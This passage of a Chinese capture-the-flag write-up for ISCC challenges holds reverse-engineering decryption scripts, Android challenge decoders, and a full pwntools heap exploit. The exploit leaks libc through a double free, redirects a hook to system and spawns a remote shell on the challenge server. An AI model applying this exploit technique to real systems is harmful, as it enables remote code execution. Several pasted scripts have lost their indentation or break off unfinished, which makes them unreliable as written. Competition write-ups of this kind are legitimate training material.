        flag += chr(d)
    return flag

if __name__ == '__main__':
    key = b"1422201965553241"
    enc_file = "cellphone.enc"
    data = decrypt_data(key, enc_file)
    flag = generate_flag(data)
    print(flag)

奇门遁甲

步骤:

输入分别输入3 1 2 8 4 5 6 7 结果拼起来,结果包上ISCC{}

Congratulations

步骤:

php 复制代码
#include <stdio.h>
#include<string.h>
int main(){
  char v9[26];
  char a2[5]="ISCC";
  v9[0] = -91;
  v9[1] = 67;
  v9[2] = 83;
  v9[3] = -108;
  v9[4] = 84;
  v9[5] = 73;
  v9[6] = -83;
  v9[7] = -69;
  v9[8] = 72;
  v9[9] = 119;
  v9[10] = 88;
  v9[11] = -24;
  v9[12] = 81;
  v9[13] = 95;
  v9[14] = -94;
  v9[15] = 70;
  v9[16] = 72;
  v9[17] = -106;
  v9[18] = 118;
  v9[19] = 114;
  v9[20] = -127;
  v9[21] = -70;
  v9[22] = -84;
  v9[23] = 9;
  v9[24] = -9;
  v9[25] = 95;
  for (int k = 0; ; ++k )
  {
    if ( k >= 25 )
      break;
    v9[k] ^= a2[1];
  }
  for(int i=24;i>=0;i--){
        v9[i]+=v9[i+1];
    }

  for (int i = 0; i < 26; ++i )
    v9[i] += 30;
   for(int i=0;i<26;++i){
    if((v9[i]>=65&&v9[i]<=90)|| v9[i]>=97&&v9[i]<=122){
        v9[i]++;
    }
   }
  for (int i = 0; i < 26; ++i )
    printf("%c",v9[i]);

}

Pull the Wool Over People's Eyes

查壳 32位无壳PE文件

IDA打开,查看字符串列表,跟随 'Wrong'字符串

编写解密脚本如下

php 复制代码
key = list(b'ISCC{ACYeeeloorrsuv}')
flag = "0000000000000000000000000000000000000000001011000011001001101111010100000000110000001011001101100100000000100011000000010001100100100011000101000001000000000000"
for i in range(len(flag)//8):
print(chr(int(flag[i*8:i*8+8],2)^key[i]),end="")

谜语人

步骤:

有管理块,就一般是攻击这个指针

php 复制代码
from pwn import *
context.terminal = ['tmux','splitw','-h']
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

# context(os='linux', arch='amd64', log_level='debug')
# p = process('./Riddler')
p = remote('59.110.164.72', 10086)
elf = ELF('./Riddler')
libc = ELF('./libc.so')

def add(idx):
    sla(b'Then?\n', b'2')
    sla(b'?!\n', str(idx))
def free(idx):
    sla(b'Then?\n', b'1')
    sla(b'?!\n', str(idx))
def show(idx):
    sla(b'Then?\n', b'0')
    sla(b'?!\n', str(idx))
def edit(idx, data):
    sla(b'Then?\n', b'3')
    sla(b'?!\n', str(idx))
    sleep(0.5)
    sl(data)

# leak heap_addr
add(3)
add(4)
free(4)
edit(4, p64(0))
free(4)
show(4)
heap_addr = u32(p.recv(4))
ptr_heap = heap_addr - 0x1048 + 0x8
# leak libc_base
edit(4, p32(ptr_heap))
add(5)
add(6)
free(6)
show(6)
p.recv(4)
malloc_hook=u32(p.recv(4)) - 56 - 0x8 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
# free_hook -> system
free_hook = libc_base + libc.sym['__free_hook']
system, binsh = get_sb()
# system=libc_base+0x03cf10
free_addr= libc_base +libc.sym["free"]
printf = libc_base+libc.sym["printf"]
exit_addr = libc_base+libc.sym["exit"] 
env=libc_base+libc.sym["environ"]
free(3)
edit(3, p64(0))
free(3)
edit(3, p32(heap_addr-0x1230+0x190))
# edit(3, p32(env))
add(7)
add(8)
show(8)
elf_call_puts=u32(p.recv(4))
elf_base=elf_call_puts-0x7D5
# greeting=elf_base+0x7FC
edit(8, p32(system))
# show(8)
# stack=u32(p.recv(4))
print(' free_hook -> ', hex(free_hook))
print(' libc_base -> ', hex(libc_base))
print(' ptr_heap -> ', hex(ptr_heap))
print(' heap_addr -> ', hex(heap_addr))
print(' system -> ', hex(system))
# # print(' elf_call_puts -> ', hex(elf_call_puts))

# print(' stack -> ', hex(stack))
# add(6)
# add(8)
# show(8)
# debug()
# # pwn
edit(7, b'/bin/sh\x00')
show(7)
# add(9)
inter()
#debug()

Convert

步骤:

填入脚本data

php 复制代码
from z3 import *
data = [0x28, 0x30, 0x24, 0x24, 0x62, 0x31, 0x37, 0x18,0x3E, 0x45, 0x21,0x21,0x0A5, 0x77, 0x78, 0x64, 0x39, 0x39, 0x39, 0x3E, 0x2F, 0x26,0x73,]
x = [BitVec("x[%d]" % i, 8) for i in range(23)]
x = [BitVec("x[%d]" % i, 8) for i in range(23)]
key = [ord(i) for i in "ISCC"]

MOBILE

NOJAVA

php 复制代码
text='YffZeiijjjYfiYjjjejeeZYe'
binary = ''.join(format(ord(i), '08b') for i in text)
a = [binary[i:i+4] for i in range(0, len(binary), 4)]
# print(a)
payload=""
for i in a:
if i=="1001":
payload+="10"
elif i=="0110":
payload+="01"
elif i=="1010":
payload+="11"
elif i=="0101":
payload+="00"
else:
print("waaa")
result = ''.join(chr(int(payload[i:i+8], 2)) for i in range(0, len(payload), 8))
print('ISCC{'+result+'}')

ManyMany

php 复制代码
# 解压附件,进lib/arm64-v8a文件夹,ida64开.so文件,搜stub函数,将下面说的字符填进去
s = "" #第一段密文 stub函数第170行
reversed_str = s[::-1]
print(reversed_str,end='')
str1 = "" #第二段密文 stub函数第225行
str2 = ''
map = {0:0, 4:1, 1:2, 5:3, 2:4, 6:5, 3:6, 7:7}
for i in range(8):
a = map[i]
# print(i,str1[a])
str2 += str1[a]
print(str2)

ManyJNI-3

php 复制代码
alpha = list("000000qwertyuiopasdfghjklzxcvbnm~@#!%&*()'/-_:;?<>&=ANM")
enc1 = "1986798057.1986798057.1986798057.1986798057.1986798057.1986798057.3713618273.132800239.2841218066.2460099397.734889408.3164894139.3121040253.3075111042.351048083.696150085.1083538065.709910699.428936951.3581263639.385403258.2421050068.1519023352.2156232310.2429787593.2858698525.3160675335.4027068562.2694837670.1336447878.654785657.3872134833.1158103192.19734539.1049530879.700813972.701073028.4097885373.1979386605.2696190145.4232898851.3126027666.891426205.406509623.2227920669.3113384841.2547227671.3896053831.3711461495.3747360752.4097885373.2853626980.1236282010.529156133.4075828588.4141497725.4141497725.4141497725.4141497725.4141497725.4141497725.3259647236.3878689771.780431097.287946231.680957602.2581098102.2415880190.1323776342.1823512614.2220172189.1130340170.3712210805.1911408410.1952078211.710806366.877129437.105877999.2823971181.619384622.3991735450.657981347.440012179.239856188.2775388247.4006927810.1068749546.2450550443.2637167118.4255690777.3680578651.312955233.4018178710.348865528.613662970.3300692563.2407112104.2766473378.2197974953.2827401366.1999610280.698153515.4135235691.3008240604.949414639.4018178710.607086523.4060431406.278213883.429489377".split(".")
etoa = {}
for i in range(len(alpha)):
etoa.update({enc1[i]:alpha[i]})
enc1 = "1986798057.64956337.166914849.924745076.666315003.930008935.4023341693.1808290711.1579951362.99771100.1236282010.1971216652.1462318326.933728663.3016651642.870221498.2666170697.4273244629.1184712308.4120373985.2965350987.2302105109.4075828588.529156133.4018804880.2954653653.3735675442.2381012008.3944223761.368955456.4067852839.4099300672.155280819.1964704696.3248176867.1935593237.1236282010.529156133.4075828588.4141497725.4234499210.75133536.1085575287.3369729975.2627182413.1586698450.212509551.2846238576.1051999332.4060431406.4016620168.3226159060.4036345491.1304626590.4165280671.1050538432.3478477188.807098365.112157582.46203785.2843567652.429489377.278213883.2724391126.1618611175.4106461569.4088810995.1040972928.3265704134.2777358486.1926520061.
3054501475.30454558.998559740.368431450.4060431406.278213883.429489377".split(".")
alpha = list("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ")
for i in range(len(alpha)):
etoa.update({enc1[i]:alpha[i]})
alpha = list("000000,.?!:/@...\";'~()<>([{<*&[]\`#$%^_+-={}|>}])ANM")
enc1 = "1986798057.1986798057.1986798057.1986798057.1986798057.1986798057.3330444070.986806734.3896053831.700813972.3113384841.891426205.19734539.986806734.986806734.986806734.3283987997.2547227671.3126027666.1158103192.2696190145.4232898851.3711461495.3747360752.2696190145.2477809142.1615466436.3711461495.1979386605.4097885373.2477809142.881206442.2870232400.2647754101.1049530879.2862766292.701073028.1392500071.2227920669.1463495029.406509623.2853626980.1615466436.4259959222.1802901715.3747360752.4259959222.881206442.4232898851.1236282010.529156133.4075828588.4141497725.4141497725.4141497725.4141497725.4141497725.4141497725.1174262214.2777299023.4135235691.3680578651.1999610280.2766473378.2637167118.2777299023.2777299023.2777299023.1614515444.698153515.2407112104.2450550443.613662970.3300692563.3008240604.949414639.613662970.443877620.2634553015.3008240604.348865528.4018178710.443877620.1709247634.3722498303.2230120467.4255690777.2381007417.312955233.2693188089.2827401366.1088610877.2197974953.607086523.2634553015.1144992995.704799359.949414639.1144992995.1709247634.3300692563.4060431406.278213883.429489377".split(".")
for i in range(len(alpha)):
etoa.update({enc1[i]:alpha[i]})
print(etoa)
enc2 = str(input("input encode:")).split(".")
result = ""
for a in enc2:
try:
result += etoa[a]
except BaseException:
if a != '':
print("FLAG WRONG!!!! => " + a)
continue
print("ISCC{" + result + "}")
print("ISCC{" + result[0:len(result) - 3] + "}")

本文内容仅为个人经验分享,仅供参考,不构成专业建议。本人不对内容准确性做保证,读者据此操作产生的风险自行承担。文中第三方素材版权归原作者,如有侵权请联系删除。

相关推荐
数据知道1 小时前
漏洞挖掘方法论:从 Fuzz 到 0day 的思维框架
网络·安全·web安全·网络安全
菜根Sec7 小时前
信息安全工程师该怎么准备考试
web安全·网络安全·信息安全·信息安全工程师
网安小学生(兼顾数据库版)9 小时前
从固件上传到合规报告:艾体宝ONEKEY实现CRA合规的操作实录
网络·安全·web安全
数据知道1 天前
移动端渗透测试流程:Android APK 逆向与动态调试
android·web安全·网络安全
数字护盾(和中)1 天前
和中科技剖析 EDR 绕过全链路,AMSI、ETW 规避技术与防御对策
运维·网络·人工智能·科技·安全·web安全
网安蟹佬霸1 天前
Android安全攻防实战:从APK逆向到Frida动态Hook全流程详解(附脚本)
android·前端·安全·web安全·逆向·csrf·网安
Sagittarius_A*2 天前
Burst Lab | PHP 审计 13|反序列化(三):POP 链构造与 Gadget Chain 分析
开发语言·web安全·php·代码审计·反序列化
芯盾时代2 天前
《金融业网络安全管理办法(征求意见稿)》全条款深度拆解(一)
网络·安全·web安全
网安蟹佬霸2 天前
蓝队防御实战:SIEM与SOAR构建安全运营中心(万字详解+实战配置)
android·安全·web安全·网络安全·网安